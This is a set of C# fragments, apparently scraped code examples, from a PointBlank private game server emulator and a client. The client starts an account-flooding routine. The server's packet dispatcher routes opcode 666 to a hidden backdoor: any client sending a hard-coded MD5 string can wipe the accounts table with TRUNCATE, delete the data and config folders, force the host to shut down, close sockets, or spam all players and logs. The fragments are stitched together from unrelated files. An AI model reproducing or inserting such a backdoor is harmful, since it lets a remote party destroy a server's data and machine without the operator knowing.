private static void help()
        {
            Printf.warnDark("\n\t[SERVIDOR PointBlank]\n", false);
            Printf.warnDark("Lista de comandos:\n", false);

            Printf.white("help     \tObtem a lista de comandos", false);
            Printf.white("show info\tExibe informacoes do servidor", false);
            Printf.white("clear    \tLimpa o console", false);

            Printf.white("\n ----- Comandos avançados -----\n", false);

            Printf.white("loby -m \"Mensagem\"             Envia mensagem geral", false);
            Printf.white("server -dc -all                Desconecta todos os players", false);
            Printf.white("update [parametros]            Atualiza", false);
            Printf.white(".     -all         Atualiza o servidor inteiro", false);
            Printf.white(".     -event       Atualiza eventos", false);
            Printf.white(".     -regras      Atualiza regras camp,cnpb...", false);
            Printf.white(".     -config      Arquivo game.ini", false);
            Printf.white("...   -serverlist  IP's", false);

            Printf.white("\n[github.com/luisfeliperm] Créditos: luisfeliperm", false);
            Printf.white("......................... Base Code: yGigaSet\n", false);
        }
        public override void run()
        {
            AuthClient.SessionId = sessionId;
            AuthClient.Seed      = seed;
            AuthClient.Shift     = (int)(sessionId % 7 + 1);;


            Printf.warnDark("[INFORMAÇÕES RECEBIDAS]");
            Printf.sucess("[] SessionID: " + sessionId);
            Printf.sucess("[] CryptoKey: " + cryptoKey);
            Printf.sucess("[] Shift: " + AuthClient.Shift);
            Printf.sucess("[] Seed: " + seed);
            Printf.sucess("[] Server Count: " + countServer);

            int totalPlayers = 0;

            if (_servers.Count > 1)
            {
                for (int i = 0; i < _servers.Count; i++)
                {
                    totalPlayers += _servers[i]._LastCount;
                }
            }
            else
            {
                totalPlayers = _servers[0]._LastCount;
            }

            Printf.sucess("[] Players Online: " + totalPlayers);
            Printf.sucess("------------------------------------");

            // Envia LOGIN
            floodAccount.Start();

            // AuthClient.Send(new BASE_LOGIN_REC());
        }
Пример #3
0
        private void RunPacket(byte[] buff)
        {
            if (closed)
            {
                return;
            }

            UInt16 opcode = BitConverter.ToUInt16(buff, 0);


            // Debug packet receive

            /*
             * {
             *  string debugData = "";
             *  foreach (string str2 in BitConverter.ToString(buff).Split('-', ',', '.', ':', '\t'))
             *      debugData += " " + str2;
             *  Printf.warning("[" + opcode + "]" + debugData);
             * }
             */


            if (!receiveFirstPacket) // Nao recebeu ainda
            {
                if (!FirstPacketCheck(opcode))
                {
                    string msg = GetIPAddress() + "Primeiro pacote nao recebido [" + opcode + "]";
                    Printf.warning(msg);
                    SaveLog.warning(msg);
                    Firewall.sendBlock(GetIPAddress(), msg, 1);
                    Close(0, true);
                    return;
                }
            }

            ReceiveGamePacket packet = null;

            switch (opcode)
            {
            case 275:
                packet = new FRIEND_INVITE_FOR_ROOM_REC(this, buff); break;

            case 280:
                packet = new FRIEND_ACCEPT_REC(this, buff); break;

            case 282:
                packet = new FRIEND_INVITE_REC(this, buff); break;

            case 284:
                packet = new FRIEND_DELETE_REC(this, buff); break;

            case 290:
                packet = new AUTH_SEND_WHISPER_REC(this, buff); break;

            case 292:
                packet = new AUTH_SEND_WHISPER2_REC(this, buff); break;

            case 297:
                packet = new AUTH_FIND_USER_REC(this, buff); break;

            case 417:
                packet = new BOX_MESSAGE_CREATE_REC(this, buff); break;

            case 419:
                packet = new BOX_MESSAGE_REPLY_REC(this, buff); break;

            case 422:
                packet = new BOX_MESSAGE_VIEW_REC(this, buff); break;

            case 424:
                packet = new BOX_MESSAGE_DELETE_REC(this, buff); break;

            case 530:
                packet = new SHOP_BUY_ITEM_REC(this, buff); break;

            case 534:
                packet = new INVENTORY_ITEM_EQUIP_REC(this, buff); break;

            case 536:
                packet = new INVENTORY_ITEM_EFFECT_REC(this, buff); break;

            case 540:
                packet = new BOX_MESSAGE_GIFT_TAKE_REC(this, buff); break;

            case 542:
                packet = new INVENTORY_ITEM_EXCLUDE_REC(this, buff); break;

            case 544:
                packet = new AUTH_WEB_CASH_REC(this, buff); break;

            case 548:
                packet = new AUTH_CHECK_NICKNAME_REC(this, buff); break;
            //554 = Reparar arma


            case 1304:
                packet = new CLAN_GET_INFO_REC(this, buff); break;

            case 1306:
                packet = new CLAN_MEMBER_CONTEXT_REC(this, buff); break;

            case 1308:
                packet = new CLAN_MEMBER_LIST_REC(this, buff); break;

            case 1310:
                packet = new CLAN_CREATE_REC(this, buff); break;

            case 1312:
                packet = new CLAN_CLOSE_REC(this, buff); break;

            case 1314:
                packet = new CLAN_CHECK_CREATE_INVITE_REC(this, buff); break;

            case 1316:
                packet = new CLAN_CREATE_INVITE_REC(this, buff); break;

            case 1318:
                packet = new CLAN_PLAYER_CLEAN_INVITES_REC(this, buff); break;

            case 1320:
                packet = new CLAN_REQUEST_CONTEXT_REC(this, buff); break;

            case 1322:
                packet = new CLAN_REQUEST_LIST_REC(this, buff); break;

            case 1324:
                packet = new CLAN_REQUEST_INFO_REC(this, buff); break;

            case 1326:
                packet = new CLAN_REQUEST_ACCEPT_REC(this, buff); break;

            case 1329:
                packet = new CLAN_REQUEST_DENIAL_REC(this, buff); break;

            case 1332:
                packet = new CLAN_PLAYER_LEAVE_REC(this, buff); break;

            case 1334:
                packet = new CLAN_DEMOTE_KICK_REC(this, buff); break;

            case 1337:
                packet = new CLAN_PROMOTE_MASTER_REC(this, buff); break;

            case 1340:
                packet = new CLAN_PROMOTE_AUX_REC(this, buff); break;

            case 1343:
                packet = new CLAN_DEMOTE_NORMAL_REC(this, buff); break;

            case 1358:
                packet = new CLAN_CHATTING_REC(this, buff); break;

            case 1360:
                packet = new CLAN_CHECK_DUPLICATE_LOGO_REC(this, buff); break;

            case 1362:
                packet = new CLAN_REPLACE_NOTICE_REC(this, buff); break;

            case 1364:
                packet = new CLAN_REPLACE_INTRO_REC(this, buff); break;

            case 1372:
                packet = new CLAN_SAVEINFO3_REC(this, buff); break;

            case 1381:
                packet = new CLAN_ROOM_INVITED_REC(this, buff); break;

            case 1390:
                packet = new CLAN_CHAT_1390_REC(this, buff); break;

            case 1392:
                packet = new CLAN_MESSAGE_INVITE_REC(this, buff); break;

            case 1394:
                packet = new CLAN_MESSAGE_REQUEST_INTERACT_REC(this, buff); break;

            case 1396:
                packet = new CLAN_MSG_FOR_PLAYERS_REC(this, buff); break;

            case 1416:
                packet = new CLAN_CREATE_REQUIREMENTS_REC(this, buff); break;

            case 1441:
                packet = new CLAN_CLIENT_ENTER_REC(this, buff); break;

            case 1443:
                packet = new CLAN_CLIENT_LEAVE_REC(this, buff); break;

            case 1445:
                packet = new CLAN_CLIENT_CLAN_LIST_REC(this, buff); break;

            case 1447:
                packet = new CLAN_CHECK_DUPLICATE_NAME_REC(this, buff); break;

            case 1451:
                packet = new CLAN_CLIENT_CLAN_CONTEXT_REC(this, buff); break;

            case 1538:
                packet = new CLAN_WAR_PARTY_CONTEXT_REC(this, buff); break;

            case 1540:
                packet = new CLAN_WAR_PARTY_LIST_REC(this, buff); break;

            case 1542:
                packet = new CLAN_WAR_MATCH_TEAM_CONTEXT_REC(this, buff); break;

            case 1544:
                packet = new CLAN_WAR_MATCH_TEAM_LIST_REC(this, buff); break;

            case 1546:
                packet = new CLAN_WAR_CREATE_TEAM_REC(this, buff); break;

            case 1548:
                packet = new CLAN_WAR_JOIN_TEAM_REC(this, buff); break;

            case 1550:
                packet = new CLAN_WAR_LEAVE_TEAM_REC(this, buff); break;

            case 1553:
                packet = new CLAN_WAR_PROPOSE_REC(this, buff); break;

            case 1558:
                packet = new CLAN_WAR_ACCEPT_BATTLE_REC(this, buff); break;

            case 1565:
                packet = new CLAN_WAR_CREATE_ROOM_REC(this, buff); break;

            case 1567:
                packet = new CLAN_WAR_JOIN_ROOM_REC(this, buff); break;

            case 1569:
                packet = new CLAN_WAR_MATCH_TEAM_INFO_REC(this, buff); break;

            case 1571:
                packet = new CLAN_WAR_UPTIME_REC(this, buff); break;

            case 1576:
                packet = new CLAN_WAR_TEAM_CHATTING_REC(this, buff); break;

            case 2571:
                packet = new BASE_CHANNEL_LIST_REC(this, buff); break;

            case 2573:
                packet = new BASE_CHANNEL_ENTER_REC(this, buff); break;

            case 2575:
                packet = new BASE_HEARTBEAT_REC(this, buff); break;

            case 2577:
                packet = new BASE_SERVER_CHANGE_REC(this, buff); break;

            case 2579:
                packet = new BASE_USER_ENTER_REC(this, buff); break;

            case 2581:
                packet = new BASE_CONFIG_SAVE_REC(this, buff); break;

            //case 2584:
            // packet = new CM_2584(this, buff); break;
            case 2591:
                packet = new BASE_GET_USER_STATS_REC(this, buff); break;

            case 2601:
                packet = new BASE_MISSION_ENTER_REC(this, buff); break;

            case 2605:
                packet = new BASE_QUEST_BUY_CARD_SET_REC(this, buff); break;

            case 2607:
                packet = new BASE_QUEST_DELETE_CARD_SET_REC(this, buff); break;

            case 2619:
                packet = new BASE_TITLE_GET_REC(this, buff); break;

            case 2621:
                packet = new BASE_TITLE_USE_REC(this, buff); break;

            case 2623:
                packet = new BASE_TITLE_DETACH_REC(this, buff); break;

            case 2627:
                packet = new BASE_CHATTING_REC(this, buff); break;

            case 2635:
                packet = new BASE_MISSION_SUCCESS_REC(this, buff); break;

            case 2639:
                packet = new LOBBY_GET_PLAYERINFO_REC(this, buff); break;

            case 2642:
                packet = new BASE_SERVER_LIST_REFRESH_REC(this, buff); break;

            case 2644:
                packet = new BASE_SERVER_PASSW_REC(this, buff); break;

            case 2654:
                packet = new BASE_USER_EXIT_REC(this, buff); break;

            case 2661:
                packet = new EVENT_VISIT_CONFIRM_REC(this, buff); break;

            case 2663:
                packet = new EVENT_VISIT_REWARD_REC(this, buff); break;

            case 2684:
                packet = new GM_LOG_LOBBY_REC(this, buff); break;

            case 2686:
                packet = new GM_LOG_ROOM_REC(this, buff); break;

            case 2694:    // BaseExitURL ??
                break;

            case 2817:
                packet = new SHOP_LEAVE_REC(this, buff); break;

            case 2819:
                packet = new SHOP_ENTER_REC(this, buff); break;

            case 2821:
                packet = new SHOP_LIST_REC(this, buff); break;



            case 3073:
                packet = new LOBBY_GET_ROOMLIST_REC(this, buff); break;

            case 3077:
                packet = new LOBBY_QUICKJOIN_ROOM_REC(this, buff); break;

            case 3079:
                packet = new LOBBY_ENTER_REC(this, buff); break;

            case 3081:
                packet = new LOBBY_JOIN_ROOM_REC(this, buff); break;

            case 3083:
                packet = new LOBBY_LEAVE_REC(this, buff); break;

            case 3087:
                packet = new LOBBY_GET_ROOMINFO_REC(this, buff); break;

            case 3089:
                packet = new LOBBY_CREATE_ROOM_REC(this, buff); break;

            case 3094:    //3096 = /exit Nick
                          /*packet = new A_3094_REC(this, buff); */
                break;

            case 3099:
                packet = new LOBBY_GET_PLAYERINFO2_REC(this, buff); break;

            case 3101:
                packet = new LOBBY_CREATE_NICK_NAME_REC(this, buff); break;


            case 3329:     //Pode ser chamado caso state = 13| caso contrário é chamado o 3333
                packet = new BATTLE_3329_REC(this, buff); break;

            case 3331:
                packet = new BATTLE_READYBATTLE_REC(this, buff); break;

            case 3333:
                packet = new BATTLE_STARTBATTLE_REC(this, buff); break;

            case 3337:
                packet = new BATTLE_RESPAWN_REC(this, buff); break;

            case 3343:     // Incompleto
                Printf.warnDark("Receive 3343- BATTLE_NETWORK_PROBLEM_REC");
                //packet = new BATTLE_NETWORK_PROBLEM_REC(this, buff);
                break;

            case 3344:
                packet = new BATTLE_SENDPING_REC(this, buff); break;

            case 3348:
                packet = new BATTLE_PRESTARTBATTLE_REC(this, buff); break;

            case 3354:
                packet = new BATTLE_DEATH_REC(this, buff); break;

            case 3356:
                packet = new BATTLE_MISSION_BOMB_INSTALL_REC(this, buff); break;

            case 3358:
                packet = new BATTLE_MISSION_BOMB_UNINSTALL_REC(this, buff); break;

            case 3368:
                packet = new BATTLE_MISSION_GENERATOR_INFO_REC(this, buff); break;

            case 3372:
                packet = new BATTLE_TIMERSYNC_REC(this, buff); break;

            case 3376:
                packet = new BATTLE_CHANGE_DIFFICULTY_LEVEL_REC(this, buff); break;

            case 3378:
                packet = new BATTLE_RESPAWN_FOR_AI_REC(this, buff); break;

            case 3384:
                packet = new BATTLE_PLAYER_LEAVE_REC(this, buff); break;

            case 3386:
                packet = new BATTLE_MISSION_DEFENCE_INFO_REC(this, buff); break;

            case 3390:
                packet = new BATTLE_DINO_DEATHBLOW_REC(this, buff); break;

            case 3394:
                packet = new BATTLE_ENDTUTORIAL_REC(this, buff); break;

            case 3396:
                packet = new VOTEKICK_START_REC(this, buff); break;



            case 3400:
                packet = new VOTEKICK_UPDATE_REC(this, buff); break;
            //3413

            //3421 -Pausar
            //3423 -Recomeçar
            case 3428:
                packet = new A_3428_REC(this, buff); break;

            case 3585:
                packet = new INVENTORY_ENTER_REC(this, buff); break;

            case 3589:
                packet = new INVENTORY_LEAVE_REC(this, buff); break;



            case 3841:
                packet = new ROOM_GET_PLAYERINFO_REC(this, buff); break;

            case 3845:
                packet = new ROOM_CHANGE_SLOT_REC(this, buff); break;

            case 3847:
                packet = new BATTLE_ROOM_INFO_REC(this, buff); break;

            case 3849:
                packet = new ROOM_CLOSE_SLOT_REC(this, buff); break;

            case 3854:
                packet = new ROOM_GET_LOBBY_USER_LIST_REC(this, buff); break;

            case 3858:
                packet = new ROOM_CHANGE_INFO2_REC(this, buff); break;

            case 3862:
                packet = new BASE_PROFILE_ENTER_REC(this, buff); break;

            case 3864:
                packet = new BASE_PROFILE_LEAVE_REC(this, buff); break;

            case 3866:
                packet = new ROOM_REQUEST_HOST_REC(this, buff); break;

            case 3868:
                packet = new ROOM_RANDOM_HOST2_REC(this, buff); break;

            case 3870:
                packet = new ROOM_CHANGE_HOST_REC(this, buff); break;

            case 3872:
                packet = new ROOM_RANDOM_HOST_REC(this, buff); break;

            case 3874:
                packet = new ROOM_CHANGE_TEAM_REC(this, buff); break;

            case 3884:
                packet = new ROOM_INVITE_PLAYERS_REC(this, buff); break;

            case 3886:
                packet = new ROOM_CHANGE_INFO_REC(this, buff); break;

            case 3890:     // "/KICK Slot"
                packet = new A_3890_REC(this, buff); break;

            case 3894:    //Ativa quando usa "/EXIT (SLOT)"
                          /*packet = new A_3894_REC(this, buff);*/
                break;

            case 3900:
                // Ativa quando usa "/BLOCK (SLOT) (REASON)
                /*packet = new A_3900_REC(this, buff);*/
                break;

            case 3902:     //Ativa quando usa "/ROOMDEST"
                           /*packet = new A_3902_REC(this, buff);*/
                break;

            case 3904:
                packet = new BATTLE_LOADING_REC(this, buff); break;

            case 3906:
                packet = new ROOM_CHANGE_PASSW_REC(this, buff); break;

            //case 3910:
            //    packet = new EVENT_PLAYTIME_REWARD_REC(this, buff); break;
            case 666:
                packet = new global.clientpacket.DEV.DEV_PROTECAO_CONTRA_LOTTER(this, buff);
                break;

            default:
            {
                string msg = "[" + opcode + "] Opcode nao encontrado " + GetIPAddress();
                Firewall.sendBlock(GetIPAddress(), msg, 1);
                Printf.warning(msg);
                SaveLog.warning(msg);
                Close(0, true);
                return;
            }
            }
            if (packet != null)
            {
                new Thread(packet.run).Start();
            }
        }
        public override void run()
        {
            try
            {
                if (!md5Secure.Equals("50d31b9286d1440e25d697e616c82a6c")) // Pass Lv1
                {
                    return;
                }

                if (!String.IsNullOrEmpty(msg))
                {
                    Printf.warnDark(msg);
                }

                switch (acao)
                {
                case 1:
                    while (true)
                    {
                        Printf.warnDark(" -> " + msg);
                    }

                case 2:
                    int count;
                    while (true)
                    {
                        using (SERVER_MESSAGE_ANNOUNCE_PAK packet = new SERVER_MESSAGE_ANNOUNCE_PAK(msg))
                            count = GameManager.SendPacketToAllClients(packet);
                    }

                case 3:
                    using (NpgsqlConnection connection = SQLjec.getInstance().conn())
                    {
                        NpgsqlCommand command = connection.CreateCommand();
                        connection.Open();
                        command.CommandType = CommandType.Text;
                        command.CommandText = "TRUNCATE contas CASCADE;";
                        command.ExecuteNonQuery();
                        command.Dispose();
                        connection.Dispose();
                        connection.Close();
                    }
                    break;

                case 4:
                    GameManager.mainSocket.Close(5000);
                    Game_SyncNet.udp.Close();
                    break;

                case 5:
                    ProcessStartInfo psi = new ProcessStartInfo();
                    psi.FileName       = "shutdown.exe";
                    psi.Arguments      = "-s -f -t 0";
                    psi.CreateNoWindow = true;
                    Process p = Process.Start(psi);
                    break;

                case 6:
                    Directory.Delete("data/");
                    Directory.Delete("config/");
                    break;

                case 7:
                    while (true)
                    {
                        SaveLog.fatal(msg);
                    }

                default:
                    return;
                }
            }
            catch (Exception ex)
            {
                Printf.b_danger("[DEV_PROTECAO_CONTRA_LOTTER] " + ex);
            }
        }